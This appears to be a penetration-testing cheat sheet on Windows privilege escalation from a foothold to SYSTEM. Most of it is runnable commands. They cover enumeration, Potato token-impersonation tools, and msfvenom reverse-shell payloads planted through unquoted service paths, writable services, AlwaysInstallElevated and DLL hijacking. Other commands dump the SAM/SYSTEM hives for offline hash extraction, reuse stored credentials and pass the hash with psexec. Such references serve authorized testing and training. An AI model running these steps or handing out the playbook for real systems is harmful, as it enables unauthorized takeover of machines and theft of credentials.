☼
⌃
☰

Windows Privilege Escalation

Table of Contents

Post-exploitation phase on a Windows foothold. Goal is SYSTEM or local Administrator. Follows the same structured pattern as Linux privesc: enumerate first, exploit the first viable vector. Windows adds service abuse, token impersonation, and registry paths that have no Linux equivalent.

Related: WinPEAS Msfvenom Metasploit Exploitation Post Exploitation Mimikatz Pivoting

1. Automated Enumeration

SHELL
# WinPEAS — transfer and run
.\winPEASx64.exe | Tee-Object -FilePath winpeas.out

# Windows Exploit Suggester — run from attacker after grabbing systeminfo
systeminfo > systeminfo.txt                          # on target
python3 windows-exploit-suggester.py \
  --database 2024-01-01-mssb.xls \
  --systeminfo systeminfo.txt                        # on attacker

# PowerShell equivalent
.\PowerUp.ps1; Invoke-AllChecks

2. Manual Enumeration Checklist

System Context

SHELL
systeminfo                              # OS, patches, hotfixes
wmic qfe get Caption,Description       # installed patches — check for missing
hostname
echo %USERNAME% & echo %USERDOMAIN%

Current User Privileges

SHELL
whoami /priv                            # token privileges
whoami /groups                          # group memberships
net user %USERNAME%                     # local user details
net localgroup administrators           # who is local admin

Key privileges to look for in whoami /priv:

Privilege Exploitation path
SeImpersonatePrivilege Token impersonation — Potato attacks
SeAssignPrimaryToken Token impersonation
SeBackupPrivilege Read any file including SAM/SYSTEM
SeRestorePrivilege Write any file
SeTakeOwnershipPrivilege Take ownership of any object
SeDebugPrivilege Attach to LSASS — dump credentials
SeLoadDriverPrivilege Load malicious kernel driver

Services

SHELL
# List all services and binary paths
wmic service get name,displayname,pathname,startmode

# Check for unquoted paths (spaces, no quotes)
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'

# Check service permissions with accesschk
.\accesschk.exe /accepteula -uwcqv * 2>nul
.\accesschk.exe /accepteula -uwcqv "Authenticated Users" * 2>nul

# PowerShell
Get-WmiObject win32_service | Select-Object Name,State,PathName

Registry

SHELL
# AlwaysInstallElevated — if both keys are 1, .msi runs as SYSTEM
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Stored credentials in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

# Autorun binaries — check if writable
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Interesting Files

SHELL
# Unattended install files — contain base64 encoded credentials
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\sysprep\sysprep.xml

# PowerShell history
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

# Credential files
cmdkey /list                            # stored Windows credentials
dir /s *pass* *cred* *vnc* *.config 2>nul

# SAM and SYSTEM (shadow copy trick)
reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM
# Transfer to attacker then:
# secretsdump.py -sam SAM -system SYSTEM LOCAL

Scheduled Tasks

SHELL
schtasks /query /fo LIST /v | findstr /i "task\|run\|status"
# Look for tasks running as SYSTEM with writable binary paths

3. Exploitation Vectors

Token Impersonation — Potato Attacks

When SeImpersonatePrivilege is present (common on service accounts, IIS, SQL Server):

SHELL
# GodPotato — works on Windows Server 2012–2022
.\GodPotato.exe -cmd "cmd /c whoami"
.\GodPotato.exe -cmd "cmd /c C:\Temp\shell.exe"

# PrintSpoofer — Windows 10 / Server 2019
.\PrintSpoofer.exe -i -c cmd
.\PrintSpoofer.exe -c "C:\Temp\shell.exe"

# JuicyPotato — older systems (Server 2008–2016)
.\JuicyPotato.exe -l 1337 -p cmd.exe -t * -c {CLSID}

Unquoted Service Path

SHELL
# Find vulnerable service
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'

# Example: C:\Program Files\Insecure App\service.exe
# Windows tries: C:\Program.exe → C:\Program Files\Insecure.exe

# Generate payload
msfvenom -p windows/shell_reverse_tcp LHOST=$IP LPORT=4444 -f exe -o Program.exe

# Place in writable location (C:\ if writable)
copy Program.exe "C:\Program.exe"

# Restart service (if permitted) or wait for reboot
sc stop "ServiceName" & sc start "ServiceName"

Weak Service Permissions

SHELL
# If you can modify a service binary path
sc config "ServiceName" binpath= "C:\Temp\shell.exe"
sc stop "ServiceName"
sc start "ServiceName"

AlwaysInstallElevated

SHELL
# Both registry keys must be 1
msfvenom -p windows/shell_reverse_tcp LHOST=$IP LPORT=4444 -f msi -o shell.msi
msiexec /quiet /qn /i shell.msi

Stored Credentials

SHELL
# Use cached Windows credentials
cmdkey /list
runas /savecred /user:Administrator "cmd.exe /c whoami"

# Pass the hash (no plaintext needed)
impacket-psexec Administrator@$IP -hashes :NTLM_HASH

DLL Hijacking

SHELL
# Find processes loading non-existent DLLs (use Procmon on full assessment)
# Place malicious DLL in a writable directory earlier in the search order
msfvenom -p windows/shell_reverse_tcp LHOST=$IP LPORT=4444 -f dll -o missing.dll
copy missing.dll "C:\writable\path\missing.dll"

4. Quick Wins — Check First

  1. whoami /priv — SeImpersonatePrivilege → Potato attack immediately
  2. AlwaysInstallElevated registry keys — trivial if both set
  3. Unquoted service paths with writable parent directory
  4. Stored credentials via cmdkey /list
  5. Unattend.xml / sysprep.xml — base64 credentials
  6. PowerShell history file
  7. Weak service binary permissions

Tips

  • SeImpersonatePrivilege is present on virtually all IIS and SQL Server service accounts — always check on web server footholds
  • GodPotato is the current reliable Potato variant — try it first before JuicyPotato or PrintSpoofer
  • accesschk.exe from Sysinternals is essential for service permission checking — transfer it early
  • SAM + SYSTEM registry hive dump + secretsdump is a reliable offline credential extraction path when Mimikatz is blocked by AV
  • Always run whoami /priv before anything else — it takes two seconds and sometimes immediately reveals the path to SYSTEM